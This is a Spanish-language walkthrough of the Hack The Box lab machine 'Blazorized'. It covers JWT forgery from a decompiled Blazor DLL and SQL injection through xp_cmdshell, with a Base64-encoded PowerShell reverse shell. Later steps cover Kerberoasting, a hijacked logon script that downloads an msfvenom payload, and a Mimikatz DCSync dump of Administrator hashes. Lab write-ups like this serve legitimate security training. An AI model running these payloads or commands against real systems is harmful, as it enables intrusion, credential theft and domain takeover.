Descripción

Blazorized es una máquina difícil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Ingeniería inversa de una aplicación web Razor WebAssembly para obtener los parámetros para crear un token JWT correcto
  • Ingeniería inversa de una aplicación web Razor Server monitorizando las peticiones HTTP para obtener el nombre del elemento JWT dentro del Local Storage
  • Inyección del token la aplicación web Razor Server para acceder al panel de administación
  • Inyección SQL basada en errores en el panel de administración para conseguir ejecución remota de comandos
  • Cambio a otro usuario utilizando el permiso WriteSPN y un ataque Kerberoasting para obtener el hash de un usuario para luego recuperar su contraseña
  • Cambio a otro usuario utilizando la posibilidad de cambiar el script a ejecutar al iniciar sesión del usuario y la posibilidad de escribir en ciertos directorios
  • Escalada de privilegios utilizando el permiso DCSync para obtener el hash NTLM del usuario Administrator

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.184.48.

$ ping -c 3 10.129.184.48
PING 10.129.184.48 (10.129.184.48) 56(84) bytes of data.
64 bytes from 10.129.184.48: icmp_seq=1 ttl=127 time=54.7 ms
64 bytes from 10.129.184.48: icmp_seq=2 ttl=127 time=54.2 ms
64 bytes from 10.129.184.48: icmp_seq=3 ttl=127 time=154 ms

--- 10.129.184.48 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 54.213/87.679/154.105/46.970 ms

La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.184.48 -sS -oN nmap_scan 
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.184.48
Host is up (0.055s latency).
Not shown: 989 closed tcp ports (reset)
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
1433/tcp open  ms-sql-s
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds

Obtenemos muchos puertos abiertos, quizás relacionados con un entorno de Directorio Activo

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.184.48 -sV -sC -p53,80,88,135,139,445,464,593,1433,3268,3269 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.184.48
Host is up (0.054s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://blazorized.htb
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1115.00; RC0+
| ms-sql-info: 
|   10.129.184.48\BLAZORIZED: 
|     Instance name: BLAZORIZED
|     Version: 
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1115.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|     TCP port: 1433
|_    Clustered: false
|_ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| ms-sql-ntlm-info: 
|   10.129.184.48\BLAZORIZED: 
|     Target_Name: BLAZORIZED
|     NetBIOS_Domain_Name: BLAZORIZED
|     NetBIOS_Computer_Name: DC1
|     DNS_Domain_Name: blazorized.htb
|     DNS_Computer_Name: DC1.blazorized.htb
|     DNS_Tree_Name: blazorized.htb
|_    Product_Version: 10.0.17763
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.17 seconds

Encontramos que esta máquina es el Controlador de Dominio del dominio blazorized.htb. Aparte del directorio activo, obtenemos un servicio de Hypertext Transfer Protocol (HTTP), un servidor SQL y servicios relacionados con el directorio activo. Vamos a agregar el dominio al archivo /etc/hosts para poder acceder fácilmente a la máquina.

$ echo "10.129.184.48 blazorized.htb" | sudo tee -a /etc/hosts

Realizando una enumeración de subdominios, encontramos los subdominios api y admin, además del dominio raíz.

$ gobuster vhost -u blazorized.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhost_enumeration
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://blazorized.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.blazorized.htb Status: 200 [Size: 2087]
Found: api.blazorized.htb Status: 404 [Size: 0]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

También agregamos estos subdominios al archivo /etc/hosts.

$ echo "10.129.184.48 api.blazorized.htb" | sudo tee -a /etc/hosts
$ echo "10.129.184.48 admin.blazorized.htb" | sudo tee -a /etc/hosts

Cuando entramos en el dominio principal, encontramos un “Jardín Digital”, un sitio web con publicaciones organizadas por categorías. El sitio web se construye utilizando la tecnología de Blazor WebAssembly. Con esta tecnología, el código fuente del sitio web se escribe utilizando el lenguaje de programación C# (aplicación .NET) y luego se interpreta en el navegador utilizando WebAssembly. Tenemos una opción, Check for Updates, en la que podemos recuperar todas las publicaciones y categorías disponibles desde la API mediante la suplantación del usuario administrador. Una petición HTTP se hace a los puntos de conexión /posts y /categories del subdominio api. Se está utilizando un token de autorización Bearer JWT. Podemos decodificarlo utilizando la página web JWT.io. Como datos de la carga, tenemos la dirección de correo electrónico del administrador superadmin@blazorized.htb, los roles de este usuario, en este caso Posts_Get_All y Categories_Get_All, la marca de tiempo Epoch de expiración de este token, en este caso un minuto desde la solicitud, y dos campos, iss y aud, que apuntan al dominio api.blazorized.htb. Si actualizamos el JWT con nuestros datos, no podemos obtener datos desde la API ya que no conocemos el secreto utilizado para crear la firma del token. Dado que no hay otras solicitudes para obtener un token desde el servidor, podemos inferir que el token se crea en el lado del cliente.

La aplicación de Razor WebAssembly obtiene el código fuente de la aplicación a partir de un archivo de índice llamado blazor.boot.json ubicado en el directorio _framework. El código compilado está contenido en archivos .dll. Cuando hacemos una solicitud, encontramos los tres archivos Blazorized.DigitalGarden.dll, Blazorized.Shared.dll, Blazorized.Helpers.dll.

$ curl -s "http://blazorized.htb/_framework/blazor.boot.json" | grep -E "Blazorized.*dll"
      "Blazorized.DigitalGarden.dll": "sha256-YH2BGBuuUllYRVTLRSM+TxZtmhmNitErmBqq1Xb1fdI=",
      "Blazorized.Shared.dll": "sha256-Bz\/iaIKjbUZ4pzYB1LxrExKonhSlVdPH63LsehtJDqY=",
      "Blazorized.Helpers.dll": "sha256-ekLzpGbbVEn95uwSU2BGWpjosCK\/fqqQRjGFUW0jAQQ="

Podemos hacer ingeniería inversa a aplicaciones de .NET utilizando la aplicación dotPeek. Cargamos los archivos .dll en la aplicación. Encontramos las variables utilizadas para generar el token, en el espacio de nombres Blazorized.Helpers y clase JWT.

namespace Blazorized.Helpers
{
  public static class JWT
  {
    private const long EXPIRATION_DURATION_IN_SECONDS = 60;
    private static readonly string jwtSymmetricSecurityKey = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a";
    private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";
    private static readonly string postsPermissionsClaimValue = "Posts_Get_All";
    private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";
    private static readonly string superAdminRoleClaimValue = "Super_Admin";
    private static readonly string issuer = "http://api.blazorized.htb";
    private static readonly string apiAudience = "http://api.blazorized.htb";
    private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";

...

Encontramos la clave simétrica y un nuevo rol Super_Admin. En el campo apiAudience (aud del token JWT) encontramos el dominio de la API, pero en la variable adminDashboardAudience encontramos el subdominio de administración. Esto podría significar que podríamos iniciar sesión en el subdominio admin utilizando un token JWT personalizado. Por ahora, vamos a crear un nuevo token utilizando el sitio web anterior. Vamos a mantener solo un rol, Super_Admin, vamos a cambiar la fecha de expiración del token a una fecha posterior, por ejemplo 1 de enero de 2025. Finalmente, cambiamos el campo aud al subdominio admin. Los datos del token serán así:

{
  "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "superadmin@blazorized.htb",
  "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Super_Admin",
  "exp": 1735689600,
  "iss": "http://api.blazorized.htb",
  "aud": "http://admin.blazorized.htb"
}

El token JWT resultante es este:

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJleHAiOjE3MzU2ODk2MDAsImlzcyI6Imh0dHA6Ly9hcGkuYmxhem9yaXplZC5odGIiLCJhdWQiOiJodHRwOi8vYWRtaW4uYmxhem9yaXplZC5odGIifQ.IJN4JwCXmIIt0HjoUqRJjnoLFZTg0ggBnqebBHoCGH1ima1XS1D6r7BYyle6NxovC-sgqA_Kdk_0bOp6eBhWzg

Al acceder a la subdominio admin, encontramos un panel de inicio de sesión y también descubrimos que se construyó utilizando tecnología Blazor Server. Esto es una tecnología diferente en comparación con WebAssembly. En este caso, el navegador envía las acciones del usuario (clics del mouse o pulsaciones de teclado) al servidor y se devuelve código HTML, CSS o JS para ser renderizado en el navegador. La comunicación con el servidor se realiza utilizando protocolo SignalR y BlazorPack. Podemos deserializar estos mensajes utilizando Burp Suite y la extensión Blazor Traffic Processor. Después de la negociación de la conexión utilizando el punto final _blazor/negotiate, se inicia el intercambio de información utilizando el punto final _blazor. Podemos descodificar los mensajes haciendo clic derecho en las solicitudes y luego seleccionando la opción BTP. Después de descodificar algunos de los mensajes, encontramos uno que invoca código JavaScript al obtener un elemento del Local Storage, jwt.

...
{
   "Target": "JS.BeginInvokeJS",
   "Headers": 0,
   "Arguments": [
      3,
      "localStorage.getItem",
      ["jwt"],
      0,
      0
   ],
   "MessageType": 1
}
...

Explotación

Podemos crear un nuevo ítem del Local Storage llamado jwt con el valor JWT que generamos antes utilizando Herramientas del Desarrollador. Después de recargar la página, obtenemos acceso al “Super Admin Panel”. En la descripción principal encontramos que las solicitudes a la base de datos se realizan directamente. Esto podría llevar a una vulnerabilidad de inyección SQL. Encontramos una en el campo Check Duplicate Post Titles. Cuando introducimos la consulta ' union select null; -- recibimos una respuesta positiva de que no encuentra duplicados. Pero si introducimos la consulta ' union select null,null; -- no recibimos ninguna respuesta de vuelta. Esto es una inyección SQL basada en errores. Esta inyección podría conllevar una ejecución de comandos utilizando xp_cmdshell. En este caso, utilizaremos una terminal inversa PowerShell codificada en Base64.

Carga útil de la ejecución remota de comandos a enviar:
'; EXECUTE xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAyADIAIgAsADEAMgAzADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'; --

Antes de enviar la carga útil, abrimos el puerto de escucha con Netcat.

$ nc -nvlp 1234

Cuando enviamos el payload, recibimos un shell reversible como el usuario blazorized\nu_1055.

$ nc -nvlp 1234  
listening on [any] 1234 ...
connect to [10.10.14.122] from (UNKNOWN) [10.129.184.48] 52436

PS C:\Windows\system32> whoami
blazorized\nu_1055

Post-Explotación

Encontramos otros cuentas en el sistema.

PS C:\Windows\system32> net user
User accounts for \\DC1
-------------------------------------------------------------------------------
Administrator            Guest                    krbtgt                   
LSA_3211                 LSA_3212                 LSA_3213                 
NU_1055                  NU_1056                  NU_1057                  
NU_1058                  RSA_4810                 RSA_4811                 
RSA_4812                 RSA_4813                 RSA_4814                 
SSA_6010                 SSA_6011                 SSA_6012                 
SSA_6013                 
The command completed successfully.

Usando la herramienta de enumeración Bloodhound, encontramos que nuestro usuario, nu_1055, tiene derechos WriteSPN sobre la cuenta rsa_4810. Podemos abusar de esto con un ataque Kerberoasting para obtener el hash del usuario rsa_4810. Necesitamos utilizar PowerSploit en el sistema remoto.

PS C:\temp\ps\usr\share\windows-resources\powersploit> Import-Module .\Recon\PowerView.ps1
PS ...> Set-DomainObject -Identity rsa_4810 -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
PS ...> Get-DomainSPNTicket nonexistent/BLAHBLAH

SamAccountName       : UNKNOWN
DistinguishedName    : UNKNOWN
ServicePrincipalName : nonexistent/BLAHBLAH
TicketByteHexStream  : 
Hash                 : $krb5tgs$23$*UNKNOWN$UNKNOWN$nonexistent/BLAHBLAH*$6D4593A00912CB0D46E0144A0AC49D0E$8487CC4BC90C94A8F0E6DC470003A36B37010D6200C78AC9703E6E58AFEE158EC40CE2C7B1F56680A22441EAFFB712C2D35CF7C4CB2C7E529DA69D80F22D1403F4AD802D2585ECE4AEB8388AB763EDD1C1C257C6755D06323AB54DF1541AF123D2CAA41DC382335733AB4AA53A05C91A8F4EFC029DFB04BBA3C4C4AC9712D2340CB2C77842A7C4F9CC93E6DB2D774C5E550BD75F878554CA3B4A6C2E2587C847AB973A69CBFAB6A13C376539DE2B60AA00C9F95CAB1FEE7862DC360DB0F4E46AF8E2FF6C8D91AAEB4D57586ACC024414BA61676B96B13B65AD57AC471DFE238CC8235EBC9AF8F67855F6D77E443B5146971CFBC39432C4A63AB67B3CE1E7FAAFC727457E8F420F4991C06B4CDB6434E59B4EAE2334C32FCB9014728191FFD9B5DCA3FACD154638D99FCB108AF5DE0A13D2B81ACD6E0A32EDA8C6722647752A7B5A53A4A795EC86F2B851FF27E47F12E36995BBD98B18D37D62C7D0B69BEF4EFE9626ED152138E955B63DB6F349C488FC8646EA671702754F85EB209282F3FB116126EB8BF4A961B18478B30513116FDC4D1F541C0970EC9FA7A77F4DE0EED46F3AF3340B5D5F15C21D972C15F5DBDDBDDF85E90A35020A8867568E059D9FAC18A74E09FCFAA6A66094353AB38930F603A3ECC4FA8A6EACC46BFAD759E571A846C6E107A7DAEF2CEE564360C078ED6EEDCC5FD5D86AF128A4BA73CBEFC6D9571C842B484814E8FEF5550E45F7A138ECA48FC176AB62EC61DB7FF26031897D4D6796C4D441B871A1280A03138CD6628FA6F4B09D9D3F6DA24C8C44E1DF451FA091B5DF7EBDF3B1615DA2CF1072E4665C45D69C25A83F430019CB41FBB427B1E096C55C5C925682DE02E4259056DE1BC278F4FD6A50F621CAC00E5E74FA53554F517B6E27B40D74BF30FB4771B41C1921C06A52A377DE684B918D764449340DA9101341CD1C5C9B43B4E49764B0055E0ADEC5A816A4E9CD9EE5E113A4CC3C0EE8B74ED6BA3330F392AFEE169866B2BC50F7D6C1AF4500A4FD98621FCDCBB07C91F5636C70BE677F98149F1AA06209606A95D5425BDFE2EAA912F7B6EC933F4097F190510F0F207CC1F67655E1C66AEA3686A3619D263C04DC9B0EEC5D17BBF3E8D91A0057330CEE11FA1C5C0D272189006E278F3C5F3088665156CF3E05A6EBDB56C00C97F57AB2863924C386D5A81B6B15ACCB84CFD15199F848D8F8FD706C8954FD34794772F75BAD2B0D69974133AA90644A1B922BC198B2D7B3D62FA722572B91EA76608065383651DE2E1A89C6959A1F58181A984973F719039D684804758C75F867A9600CEFE92ED62DCD35CA789CB665A685A54F2E192DD4A199EC90E3E50D7343481FA08059FAF16F9553E75BBD1CA7BE3D0C639C973F349FAD4C81FEE0AF21E59A672D2F1A1457436C184F4A395261F95EBB92B76BF18B779C9B07A2F0599117E55E5171E41E3739784C2241DD99EE7C4C151B10CABC3BB31A0BFF5F1B1D3C38EC5869C753832F30E13FE656B6DEEA5AC1970CFA8A65469E9F155A09A56F8F38FFB0F6C20E4108EFE9B8EB5F52E8144C0ED3F00D8BD4894845AFB7D16692998F4F6160EB754BAD715DBB0F6F7A57F2720FE5E6168A9FFBEEA0349E475C155D0DC3D124B8E0DAAF6B8877C0A3647A38CABF5E222DEC9868DCFD19134E78F69AAA73B105DB547B817E6FFD2710385B2A0316ABA339A7D709022D57533B370A3F3B881F503A82D591192BBABEC9086A30C97916F65A02D5C9A6EB981D66F645A2588808C72414

PS ...> Set-DomainObject -Identity rsa_4810 -Clear serviceprincipalname

Obtenemos el hash de Kerberos para el usuario rsa_4810, por lo que podemos romperlo para obtener su contraseña.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
(Ni7856Do9854Ki05Ng0005 #) (?)     
1g 0:00:00:04 DONE 0.2118g/s 3033Kp/s 3033Kc/s 3033KC/s (p3r)version..(Camisha)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

La contraseña encontrada es (Ni7856Do9854Ki05Ng0005 #). Podemos iniciar sesión usando Evil-WinRM.

$ evil-winrm -i blazorized.htb -u 'rsa_4810' -p '(Ni7856Do9854Ki05Ng0005 #)'       

Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\RSA_4810\Documents>

Enumerando otro usuario presente en el informe de Bloodhound, ssa_6010, encontramos que tiene un script de inicio de sesión (se ejecuta cuando el usuario inicia sesión) y se ha conectado hace un minuto.

*Evil-WinRM* PS C:\Users\RSA_4810\Documents> net user ssa_6010
User name                    SSA_6010
Full Name                    SSA_6010
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/25/2024 12:56:55 PM
Password expires             Never
Password changeable          2/26/2024 12:56:55 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script                 \\dc1\NETLOGON\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030
User profile
Home directory

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Super_Support_Adminis
The command completed successfully.

El script de inicio de sesión se encuentra en la ruta \\dc1\NETLOGON\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030. Como no es una ruta que siga el formato normal, en realidad la ruta es C:\WINDOWS\SYSVOL\domain\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030.bat. Tenemos permisos para leer y escribirlo.

*Evil-WinRM* PS C:\Users\RSA_4810\Documents> cd C:\WINDOWS\SYSVOL\domain\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF
*Evil-WinRM* PS ...> dir

Directory: C:\WINDOWS\SYSVOL\domain\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        5/29/2024   3:16 PM             63 2C0A3DFE2030.bat
*Evil-WinRM* PS ...> icacls 2C0A3DFE2030.bat
2C0A3DFE2030.bat BLAZORIZED\RSA_4810:(RX,W)
                 S-1-5-21-2039403211-964143010-2924010611-4103:(W)
                 NT AUTHORITY\Authenticated Users:(I)(RX)
                 BUILTIN\Server Operators:(I)(RX)
                 BUILTIN\Administrators:(I)(F)
                 NT AUTHORITY\SYSTEM:(I)(F)
*Evil-WinRM* PS ...> type 2C0A3DFE2030.bat
:: TO-DO: Notify LSA_3214 to write the logonScript for SSA_6010

Como el usuario va a iniciar sesión eventualmente, creamos un payload con msfvenom para crear un terminal inversa y lo copiamos en otro archivo .bat. También iniciamos el puerto de escucha.

$ msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.14.122 LPORT=4444 > runme.bat
$ python -m http.server 80
$ nc -nvlp 4444

Aunque cambiamos el script anterior, no se ejecutará cuando el usuario inicia sesión, pero en el sistema remoto tenemos permisos para escribir en el directorio C:\WINDOWS\SYSVOL\domain\scripts\A32FF3AEAA23, así que copiamos el script ahí. Entonces cambiamos la ubicación del script que el usuario ejecutará según la documentación de Microsoft, especificamos el camino desde el directorio scripts, así A32FF3AEAA23\runme.bat.

*Evil-WinRM* PS C:\temp> iwr http://10.10.14.122/runme.bat -outfile runme.bat
*Evil-WinRM* PS C:\temp> icacls C:\WINDOWS\SYSVOL\domain\scripts\*
...

C:\WINDOWS\SYSVOL\domain\scripts\A32FF3AEAA23 BLAZORIZED\RSA_4810:(OI)(CI)(RX,W)
                                              NT AUTHORITY\Authenticated Users:(I)(RX)
                                              NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(GR,GE)
                                              BUILTIN\Server Operators:(I)(RX)
                                              BUILTIN\Server Operators:(I)(OI)(CI)(IO)(GR,GE)
                                              BUILTIN\Administrators:(I)(F)
                                              BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                              NT AUTHORITY\SYSTEM:(I)(F)
                                              NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                              CREATOR OWNER:(I)(OI)(CI)(IO)(F)
...
*Evil-WinRM* PS C:\temp> copy runme.bat C:\WINDOWS\SYSVOL\domain\scripts\A32FF3AEAA23\runme.bat
*Evil-WinRM* PS C:\temp> get-aduser ssa_6010 | set-aduser -scriptpath 'A32FF3AEAA23\runme.bat'

Después de un cierto tiempo, obtendremos un terminal remota.

$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.122] from (UNKNOWN) [10.129.184.48] 53250
Microsoft Windows [Version 10.0.17763.5936]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
blazorized\ssa_6010
C:\Windows\system32> powershell
PS C:\Windows\system32>

En el informe de Bloodhound vemos que el usuario ssa_6010 tiene permisos DCSync sobre el dominio. Podemos utilizar Mimikatz para imprimir el hash NTLM del usuario Administrador e iniciar sesión utilizando el método Pass-The-Hash.

PS C:\Windows\system32> cd C:\Temp
PS C:\Temp> iwr http://10.10.14.122/mimikatz.exe -outfile mimikatz.exe
PS C:\Temp> .\mimikatz.exe 'lsadump::dcsync /user:blazorized\Administrator'
.\mimikatz.exe 'lsadump::dcsync /user:blazorized\Administrator'

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::dcsync /user:blazorized\Administrator
[DC] 'blazorized.htb' will be the domain
[DC] 'DC1.blazorized.htb' will be the DC server
[DC] 'blazorized\Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   : 
Password last change : 2/25/2024 12:54:43 PM
Object Security ID   : S-1-5-21-2039403211-964143010-2924010611-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: f55ed1465179ba374ec1cad05b34a5f3
    ntlm- 0: f55ed1465179ba374ec1cad05b34a5f3
    ntlm- 1: eecc741ecf81836dcd6128f5c93313f2
    ntlm- 2: c543bf260df887c25dd5fbacff7dcfb3
    ntlm- 3: c6e7b0a59bf74718bce79c23708a24ff
    ntlm- 4: fe57c7727f7c2549dd886159dff0d88a
    ntlm- 5: b471c416c10615448c82a2cbb731efcb
    ntlm- 6: b471c416c10615448c82a2cbb731efcb
    ntlm- 7: aec132eaeee536a173e40572e8aad961
    ntlm- 8: f83afb01d9b44ab9842d9c70d8d2440a
    ntlm- 9: bdaffbfe64f1fc646a3353be1c2c3c99
    lm  - 0: ad37753b9f78b6b98ec3bb65e5995c73
    lm  - 1: c449777ea9b0cd7e6b96dd8c780c98f0
    lm  - 2: ebbe34c80ab8762fa51e04bc1cd0e426
    lm  - 3: 471ac07583666ccff8700529021e4c9f
    lm  - 4: ab4d5d93532cf6ad37a3f0247db1162f
    lm  - 5: ece3bdafb6211176312c1db3d723ede8
    lm  - 6: 1ccc6a1cd3c3e26da901a8946e79a3a5
    lm  - 7: 8b3c1950099a9d59693858c00f43edaf
    lm  - 8: a14ac624559928405ef99077ecb497ba

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 36ff197ab8f852956e4dcbbe85e38e17

* Primary:Kerberos-Newer-Keys *
    Default Salt : BLAZORIZED.HTBAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 29e501350722983735f9f22ab55139442ac5298c3bf1755061f72ef5f1391e5c
      aes128_hmac       (4096) : df4dbea7fcf2ef56722a6741439a9f81
